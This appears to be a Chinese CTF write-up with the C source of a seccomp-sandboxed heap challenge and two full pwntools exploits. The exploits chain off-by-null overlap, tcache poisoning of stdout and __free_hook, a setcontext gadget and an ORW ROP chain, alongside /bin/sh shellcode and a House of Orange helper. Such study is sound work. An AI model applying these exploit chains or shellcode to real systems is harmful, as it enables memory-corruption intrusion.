image-20201107233432575

只能劫持freehook来写入setcontext,从而orw打印flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note1')
if local:
p = process('./note1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
#onegadget18(libc-2.27.so) 0x4f322 0x4f2c5 0x10a38c
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def add(size,content):
ru("Choice: ")
sl('1')
ru("Size: ")
sl(str(size))
ru("Content: ")
sd(content)
def free(index):
ru("Choice: ")
sl('2')
ru("Idx: ")
sl(str(index))
def show(idx):
ru("Choice: ")
sl('3')
ru("Idx: ")
sl(str(idx))
def pwn_it():
for i in range(14):
add(0x10,'\n')
add(0x68,'\n')
add(0x78,'\n')
for i in range(5):
add(0xc0,'\n')
add(0xe0,'\n')
add(0xe0,'\n')
add(0x10,'\n')
add(0x68,'\n')
add(0x10,'\n')
add(0x68,'\n')
add(0x6ab0,'\n')
add(0x21,'\n')#54
add(0x420,'\n')#55
add(0x68,'\n')#56
add(0x68,'\n')#57
add(0x4f8,'\n')#58
add(0x21,'\n')#59
free(55)
add(0x21,p64(0)+p64(0x501))#55
for i in range(7):
add(0x21,'\n')#60-66
for i in range(7):
free(60+i)#60-66
free(54)
free(55)
# debug(0)
for i in range(7):
add(0x21,'\n')#60-66
add(0x21,'\x40')
add(0x21,'kkkk')
#66
#64
for i in range(7):
add(0x21,'\n')
for i in range(7):
free(67+i)
# debug(0)
add(0x150,'h')
free(64)
free(66)
add(0x430,'\n')
for i in range(7):
add(0x21,'\n')
add(0x21,p64(0)+'\x40')
add(0x21,'iiiiiii')
# debug(0)
free(57)
add(0x68,'a'*0x60+p64(0x500))
free(58)
# debug()
add(0x410,'h')
# debug(0x00000000000000DAB)
show(56)
libc_base = u64(rc(6).ljust(8,'\x00'))-0x70-libc.sym['__malloc_hook']
print "libc_base---->" + hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libc_base + libc.sym["realloc"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
setcontext = libc_base + libc.sym["setcontext"]
pop_rax_ret = libc_base + 0x000000000004a550
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
pop_rdi_ret = libc_base + 0x0000000000026b72
syscall_ret = libc_base + 0x0000000000066229
magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
ret = libc_base + 0x00000000000c1479

add(0x68,'\n')
add(0x68,'j')
add(0x4f8,'h')
free(56)
free(57)
show(77)
# debug(0)
heap_addr = u64(rc(6).ljust(8,'\x00'))-0x470
print "heap_addr_addr--->" + hex(heap_addr)
pay_start = heap_addr+0xec0

def srop_pay():
pay = ''
pay += p64(0) + p64(pay_start)
pay = pay.ljust(0x20,'\x00')
pay += p64(setcontext+33)
pay = pay.ljust(0x68,'\x00')
pay += p64(0)
pay += p64(pay_start)
pay += p64(0)
pay += p64(0)
pay += p64(0x110)
pay = pay.ljust(0xa0,'\x00')
pay += p64(pay_start)
pay += p64(syscall_ret)
pay = pay.ljust(0xe0,'\x00')
pay += p64(pay_start)
return pay

def orw_pay():
pay = ''
pay += p64(pop_rdi_ret)
pay += p64(pay_start+0x100)
pay += p64(pop_rsi_ret)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x2)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(3)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x0)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(1)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x1)
pay += p64(syscall_ret)
pay = pay.ljust(0x100,'a')
pay += './flag\x00\x00'
return pay

add(0x68,'\n')
add(0x68,'j')
free(62)
free(63)
free(58)
# debug(0)
py = ''
py += 'a'*0x40
py += p64(0) + p64(0x31)
py += p64(free_hook)
add(0x410,py)

add(0x21,'h')
py = ''
py += p64(magic_gadget)
add(0x21,py)

py = srop_pay()
add(0x420,py)#79
# debug(0x0000000000000BC2)
free(79)
orw = orw_pay()
sl(orw)

i = 0
while 1:
print i
i += 1
try:
pwn_it()
except EOFError:
p.close()
if local:
p = process('./note1')
libc = elf.libc
else:
p = remote('121.40.246.48',9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
break
p.interactive()

尝试自己出题

这里只给add和free2种操作,没有其他的操作,加了沙箱,只能orw出flag

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <inttypes.h>
#include <sys/prctl.h>
#include <linux/filter.h>
//#include <seccomp.h>
#include <linux/seccomp.h>
#define DELTA 0x9e3779b9
char *chunk[100];
int *size[100];
void set_secommp();
uint32_t const key[4]= {9,5,2,7};


void xxtea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned i, rounds, e;
if (n > 1)
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (i=0; i<n-1; i++)
{
y = v[i+1];
v[i] += (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(i&3)^e] ^ z)));
z = v[i];

}
y = v[0];
v[n-1] += (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(i&3)^e] ^ z)));
z = v[n-1];
}
while (--rounds);
}
}

void set_secommp(){
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xc000003e},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xffffffff},
{0x15,0x01,0x00,0x0000003b},
{0x06,0x00,0x00,0x7fff0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}

void init(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
memset(chunk, 0, 0x50uLL);
set_secommp();
return ;
}

int read_int(){
char buf[8];
read(0,&buf,8);
return atoi(&buf);
}

int add()
{
int v2;
int v3;
printf("Give me a dream ID: ");
v3 = read_int();
printf("how long do you want to sleep: ");
v2 = read_int();
if (v3 >= 0 && v3 <= 33)
{
if(v2>=0&&v2<0x800)
{
if(chunk[v3]==0&&size[v3]==0)
{
chunk[v3] = malloc(v2);
size[v3] = v2;
puts("content?");
int kk = read(0,chunk[v3],size[v3]);
if(kk==size[v3])
{
chunk[v3][kk] = 0;
}
return puts("Done!\n");
}
}
else
{
puts("Think too much!");
exit("No!!!");
}
}
else
{
exit("No!!!");
}
}
int delete()
{
int v1;
unsigned int v2;
puts("Which dream to wake?");
v1 = read_int();
if ( v1>=0&&v1<=100)
{
if(chunk[v1])
{
free(chunk[v1]);
chunk[v1]=0;
size[v1]=0;
v2 = puts("Done!\n");
}
else{
exit(0);
}

}
else
{
exit(0);
}
return v2;
}

// int kk()
// {
// int idx;
// puts("only one chance");
// if(hack==1)
// {
// printf("Which dream to hack?");
// scanf("%d",&idx);
// if(idx>=0&&idx<=4)
// {
// if(chunk[idx]&&size[idx])
// {
// printf("dream: ");
// read_0(chunk[idx], size[idx]);
// }
// }
// hack = hack - 1;
// }
// else
// {
// exit(0);
// }
// }
// void show()
// {
// int idx;
// printf("Which dream do you want to show?");
// scanf("%d",&idx);

// if(idx>=0&&idx<=4)
// {
// if(chunk[idx]&&size[idx])
// {
// int big = size[idx];
// big = big/4;
// xxtea(chunk[idx],big,key);
// printf("Content: %s", chunk[idx]);
// }
// }
// }

int menu()
{
puts("***********************");
puts("Welcome to the final fantasy");
puts("1.make a dream");
puts("2.wake up");
puts("3.exit");
puts("***********************");
return printf("choice: ");
}

int main(int argc, const char **argv, const char **envp)
{
int v3;
init();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 1 )
break;
add();
}
if ( v3 == 2 )
{
delete();
}
else if ( v3 == 3 )
{
exit(0);
}
else
{
puts("try again?");
continue;
}
}
}

看下malloc函数:image-20210226135053064

看下free函数:

image-20210226135120238

只有malloc和free可以操作,先利用largebin的残留,结合fastbin和smallbin的操作,堆风水构造出unlink的条件,然后先利用offbynull构造出overlap the chunk,利用small bin的指针残留,得到堆块大小为0x31,含有0x7f地址的fd指针(即stdout),利用overlap,使得tache中得到stdout,放一个堆块到largbin中,从而实现泄露出真实地址和堆地址(堆在main_arena那里分布),最后就是常规套路,改free_hook为某个gadget,从而调用setcontext,最后orw的获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

local = 1
elf = ELF('./1')
if local:
p = process('./1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc-2.31.so')
#onegadget64(libc.so.6)
#more onegadget
#one_gadget -l 200 /lib/x86_64-linux-gnu/libc.so.6
one64 = [0x45226,0x4527a,0xf0364,0xf1207]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
#onegadget32(libc.so.6)
# one32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

# py32 = fmtstr_payload(start_read_offset,{xxx_got:system_addr})
# sl(py32)
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))

# shellcode = asm(shellcraft.sh())
shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def pack_file(_flags = 0,
_IO_read_ptr = 0,
_IO_read_end = 0,
_IO_read_base = 0,
_IO_write_base = 0,
_IO_write_ptr = 0,
_IO_write_end = 0,
_IO_buf_base = 0,
_IO_buf_end = 0,
_IO_save_base = 0,
_IO_backup_base = 0,
_IO_save_end = 0,
_IO_marker = 0,
_IO_chain = 0,
_fileno = 0,
_lock = 0,
_wide_data = 0,
_mode = 0):
file_struct = p32(_flags) + \
p32(0) + \
p64(_IO_read_ptr) + \
p64(_IO_read_end) + \
p64(_IO_read_base) + \
p64(_IO_write_base) + \
p64(_IO_write_ptr) + \
p64(_IO_write_end) + \
p64(_IO_buf_base) + \
p64(_IO_buf_end) + \
p64(_IO_save_base) + \
p64(_IO_backup_base) + \
p64(_IO_save_end) + \
p64(_IO_marker) + \
p64(_IO_chain) + \
p32(_fileno)
file_struct = file_struct.ljust(0x88, "\x00")
file_struct += p64(_lock)
file_struct = file_struct.ljust(0xa0, "\x00")
file_struct += p64(_wide_data)
file_struct = file_struct.ljust(0xc0, '\x00')
file_struct += p64(_mode)
file_struct = file_struct.ljust(0xd8, "\x00")
return file_struct

def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
payload = pack_file(_flags = 0,
_IO_read_ptr = 0x61, #smallbin4file_size
_IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
_IO_write_base = 0,
_IO_write_ptr = 1,
_IO_buf_base = binsh_addr,
_mode = 0,
)
payload += p64(_IO_str_jumps_addr-8) # vtable
payload += p64(0) # paddding
payload += p64(system_addr)
return payload

def get_io_str_jumps_offset(libc):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
# print possible_IO_str_jumps_offset
return possible_IO_str_jumps_offset

def house_of_orange_payload(libc, libc_base):
io_str_jump = libc_base + get_io_str_jumps_offset(libc)
io_list_all = libc_base + libc.symbols['_IO_list_all']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search('/bin/sh'))
payload = pack_file_flush_str_jumps(io_str_jump, io_list_all, system, bin_sh)
return payload

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def ms(name,addr):
print name + "---->" + hex(addr)

def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))


def add(index,size,content):
ru("choice: ")
sl('1')
ru("Give me a dream ID: ")
sl(str(index))
ru("how long do you want to sleep:")
sl(str(size))
ru("content?")
sd(content)
def free(index):
ru("choice: ")
sl('2')
ru("Which dream to wake?")
sl(str(index))

def pwn():
add(1,0x70,'hhhh')
add(2,0x420,'aaaa')
add(3,0x4f8,'bbbb')
add(4,0x4f8,'cccc')
free(2)
add(5,0x450,'dddd')
py = ''
py += p64(0) + p64(0x421)
py += p8(0x40)
add(6,0x21,py)
for i in xrange(7,17,1):
add(i,0x21,'hhhh')

add(17,0x218,'hhhh')
for i in xrange(10,16,1):
free(i)
free(8)
free(9)
free(7)
add(18,0x400,'bbbb')
for i in xrange(10,16,1):
add(i,0x21,'gggg')
add(8,0x21,'gggg')
add(7,0x21,p64(0x21)+p8(0x20))
add(9,0x21,p64(0x21)+p8(0x20))

for i in xrange(10,16,1):
free(i)
free(9)
free(8)
free(6)
for i in xrange(10,16,1):
add(i,0x21,'gggg')
add(8,0x21,'gggg')
add(6,0x21,p8(0x20))
add(9,0x21,p8(0x20))
# free(3)
free(17)
add(17,0x218,'a'*0x210+p64(0x420))
# debug(0x1887)
free(3)
add(19,0x410,'nnnn')
add(20,0x4f8,'nnnn')
for i in xrange(10,16,1):
free(i)
free(8)
free(16)
free(9)
add(21,0x400,'bbbb')
for i in xrange(10,16,1):
add(i,0x21,'gggg')

add(22,0x21,'\xa0\x86')
# debug(0x1140)
add(16,0x21,'\xa0\x86')
add(23,0x21,'hhhh')

free(11)
free(22)
free(10)
free(19)
add(19,0x410,p64(0)*3+p64(0x31)+p64(0)*5+p64(0x31)+p8(0xe0))
add(24,0x22,'hhhh')
add(25,0x22,'hhhh')


add(26,0x600,'hhhh')
add(27,0x400,'hhhh')
free(26)
add(28,0x700,'hhhh')
# debug(0x1140)
add(29,0x23,p64(0xfbad1800)+p64(0)*3+'\x00\x80')
rc(1)
rc(0x58)
libc_base = u64(rc(8))-0x1ec040
ms("libc_base--->",libc_base)

heap_addr = u64(rc(8))
ms("heap--->",heap_addr)

malloc_hook = libc_base + libc.sym["__malloc_hook"]
fake_chunk = malloc_hook - 0x23
realloc = libc_base + libc.sym["realloc"]
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
binsh = libc_base + libc.search("/bin/sh").next()
setcontext = libc_base + libc.sym["setcontext"]
pop_rax_ret = libc_base + 0x000000000004a550
pop_rsi_ret = libc_base + 0x0000000000027529
pop_rdx_r12_ret = libc_base + 0x000000000011c1e1
pop_rdi_ret = libc_base + 0x0000000000026b72
syscall_ret = libc_base + 0x0000000000066229
magic_gadget = libc_base + 0x00000000001547a0
#0x00000000001547a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; #call qword ptr [rdx + 0x20];
ret = libc_base + 0x00000000000c1479

pay_start = heap_addr+0x10

def srop_pay():
pay = ''
pay += p64(0) + p64(pay_start)
pay = pay.ljust(0x20,'\x00')
pay += p64(setcontext+33)
pay = pay.ljust(0x68,'\x00')
pay += p64(0)
pay += p64(pay_start)
pay += p64(0)
pay += p64(0)
pay += p64(0x110)
pay = pay.ljust(0xa0,'\x00')
pay += p64(pay_start)
pay += p64(syscall_ret)
pay = pay.ljust(0xe0,'\x00')
pay += p64(pay_start)
return pay

def orw_pay():
pay = ''
pay += p64(pop_rdi_ret)
pay += p64(pay_start+0x100)
pay += p64(pop_rsi_ret)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x2)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(3)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x0)
pay += p64(syscall_ret)
pay += p64(pop_rdi_ret)
pay += p64(1)
pay += p64(pop_rsi_ret)
pay += p64(heap_addr)
pay += p64(pop_rdx_r12_ret)
pay += p64(0x40)
pay += p64(0)
pay += p64(pop_rax_ret)
pay += p64(0x1)
pay += p64(syscall_ret)
pay = pay.ljust(0x100,'a')
pay += './flag\x00\x00'
return pay

free(19)
free(25)
free(24)
add(30,0x410,p64(0)*3+p64(0x31)+p64(0)*5+p64(0x31)+p64(free_hook))
add(31,0x21,'hhhh')
add(32,0x21,p64(magic_gadget))
py = srop_pay()
add(33,0x600,py)
# debug(0x10f0)
free(33)
orw = orw_pay()
sl(orw)

i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./1')
if local:
p = process('./1')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
libc = ELF('./libc-2.31.so')
else:
sl("ls")
break
p.interactive()

参考链接:

https://github.com/StarCross-Tech/heap_exploit_2.31

https://elixir.bootlin.com/glibc/glibc-2.29/source/malloc/malloc.c#L3880

0%